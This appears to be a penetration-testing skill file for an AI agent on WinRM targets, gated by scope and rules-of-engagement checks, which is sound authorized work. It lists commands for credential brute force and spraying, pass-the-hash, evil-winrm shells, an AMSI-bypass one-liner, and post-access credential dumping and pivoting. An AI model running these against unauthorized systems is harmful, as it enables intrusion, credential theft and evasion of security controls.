| name | winrm-pentest |
| description | Guides Windows Remote Management penetration testing. Use when port 5985 or 5986 is discovered during scanning or when WinRM is identified on a target. |
WinRM Pentest
Prerequisites
- Target is in scope (
scope/scope-master.txt, engagement ROE).
- Domain targets: load
internal-ad-pentest and windows-pentest.
- Brute force may lock accounts. Confirm ROE before spray attacks.
Ports and detection
| Port | Service |
|---|
| 5985/tcp | WinRM over HTTP (WS-Management) |
| 5986/tcp | WinRM over HTTPS |
WinRS (legacy) uses same ports but different protocol stack. WinRM is the modern WS-Management interface; WinRS is the command-line wrapper (winrs /remote:...).
Service fingerprint
MSF MCP (preferred):
msf_run_auxiliary_module(
module_name="auxiliary/scanner/winrm/winrm_auth_methods",
engagement_id="<id>",
options={"RHOSTS": "<target>", "RPORT": 5985, "SSL": false}
)
CLI fallback:
nmap -p5985,5986 --script http-winrm-info <target>
Test-WSMan <target>
curl -k https://<target>:5986/wsman
crackmapexec winrm <target> -u user -p pass
Workflow
Task Progress:
- [ ] WinRM availability check
- [ ] Auth method enumeration
- [ ] Credential or hash authentication
- [ ] pywinrm / evil-winrm execution
- [ ] JEA bypass assessment
- [ ] Document findings
Auth method enumeration
MSF MCP (preferred):
msf_run_auxiliary_module(
module_name="auxiliary/scanner/winrm/winrm_auth_methods",
engagement_id="<id>",
options={"RHOSTS": "<target>", "RPORT": 5985, "SSL": false}
)
CLI fallback:
nmap -p5985 --script http-winrm-info <target>
Test-WSMan <target>
Credential validation
MSF MCP (preferred):
msf_run_auxiliary_module(
module_name="auxiliary/scanner/winrm/winrm_login",
engagement_id="<id>",
options={
"RHOSTS": "<target>",
"RPORT": 5985,
"DOMAIN": "<domain>",
"USERNAME": "administrator",
"PASSWORD": "password",
"SSL": false,
"STOP_ON_SUCCESS": true
}
)
CLI fallback:
crackmapexec winrm <target> -d <domain> -u user -p pass -x whoami
nxc winrm <target> -u user -H <NT_HASH> -X '$PSVersionTable'
Remote command execution (MSF)
MSF MCP (preferred):
msf_run_auxiliary_module(
module_name="auxiliary/scanner/winrm/winrm_cmd",
engagement_id="<id>",
options={
"RHOSTS": "<target>",
"RPORT": 5985,
"DOMAIN": "<domain>",
"USERNAME": "<user>",
"PASSWORD": "<pass>",
"CMD": "whoami"
}
)
CLI fallback:
crackmapexec winrm <target> -d <domain> -u <user> -p '<pass>' -x whoami
crackmapexec winrm <target> -u <user> -H <NT_HASH> -X 'Get-Process'
pywinrm examples
MSF: No direct module; use CLI.
CLI fallback:
import winrm
s = winrm.Session('<target>', auth=('<domain\\user>', '<pass>'),
transport='ntlm', server_cert_validation='ignore')
r = s.run_cmd('whoami')
print(r.std_out.decode())
r = s.run_ps('Get-Process | Select-Object -First 5')
print(r.std_out.decode())
HTTPS variant:
s = winrm.Session('https://<target>:5986/wsman', auth=('<user>', '<pass>'),
transport='basic', server_cert_validation='ignore')
Evil-WinRM interactive shell
MSF: No direct module; use CLI.
CLI fallback:
gem install evil-winrm
evil-winrm -u Administrator -p 'password' -i <target>
evil-winrm -u <user> -H <NT_HASH> -i <target>
evil-winrm -u <user> -p '<pass>' -i <target> -S
evil-winrm -u <user> -p '<pass>' -i <target> -s /path/scripts
Pass-the-hash
MSF MCP (preferred):
msf_run_auxiliary_module(
module_name="auxiliary/scanner/winrm/winrm_cmd",
engagement_id="<id>",
options={
"RHOSTS": "<target>",
"USERNAME": "<user>",
"PASSWORD": "<NT_HASH>",
"DOMAIN": "<domain>",
"CMD": "hostname"
}
)
CLI fallback:
evil-winrm -u <user> -H <NT_HASH> -i <target>
crackmapexec winrm <target> -u <user> -H <NT_HASH> -X 'Get-Process'
WinRS vs WinRM
MSF: No direct module; use CLI.
CLI fallback:
winrs -r:<target> -u:<domain\user> -p:<pass> cmd
winrs -r:https://<target>:5986 -u:<user> -p:<pass> -unencrypted ipconfig
Invoke-Command -ComputerName <target> -ScriptBlock {hostname} -Credential $cred
Enter-PSSession -ComputerName <target> -Credential $cred
New-PSSession -ComputerName <target> -Credential $cred
JEA bypass
MSF: No direct module; use CLI.
CLI fallback:
# Check JEA endpoint configuration
Get-PSSessionConfiguration
# List available JEA endpoints
Get-ChildItem WSMan:\localhost\Plugin\
# Bypass via constrained language mode escape (when allowed functions permit)
# Common: use Start-Process, Get-Content on script files, or break out via .NET
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Test if full language mode available
$ExecutionContext.SessionState.LanguageMode
Document JEA role capabilities and any escape paths found.
PowerShell remoting (Windows attacker)
MSF: No direct module; use CLI.
CLI fallback:
Set-Item wsman:\localhost\client\trustedhosts *
winrm quickconfig
Invoke-Command -ComputerName <target> -ScriptBlock {ipconfig /all} -Credential $cred
Invoke-Command -ComputerName <target> -FilePath C:\path\script.ps1 -Credential $cred
$sess = New-PSSession -ComputerName <target> -Credential $cred
Enter-PSSession $sess
Lateral movement spray
MSF: No direct module; use CLI.
CLI fallback:
crackmapexec winrm 10.0.0.0/24 -d domain -u admin -p pass -x whoami
Requires membership in Remote Management Users or local Administrators.
Post-access
- Interactive PS session via
evil-winrm or Enter-PSSession
- Upload tools:
evil-winrm -s /tools then execute in session
- Dump credentials, enumerate AD, pivot to other hosts
Related skills
windows-pentest - Windows lateral movement and privesc
internal-ad-pentest - domain credential reuse and PtH
smb-pentest - alternative lateral movement via SMB exec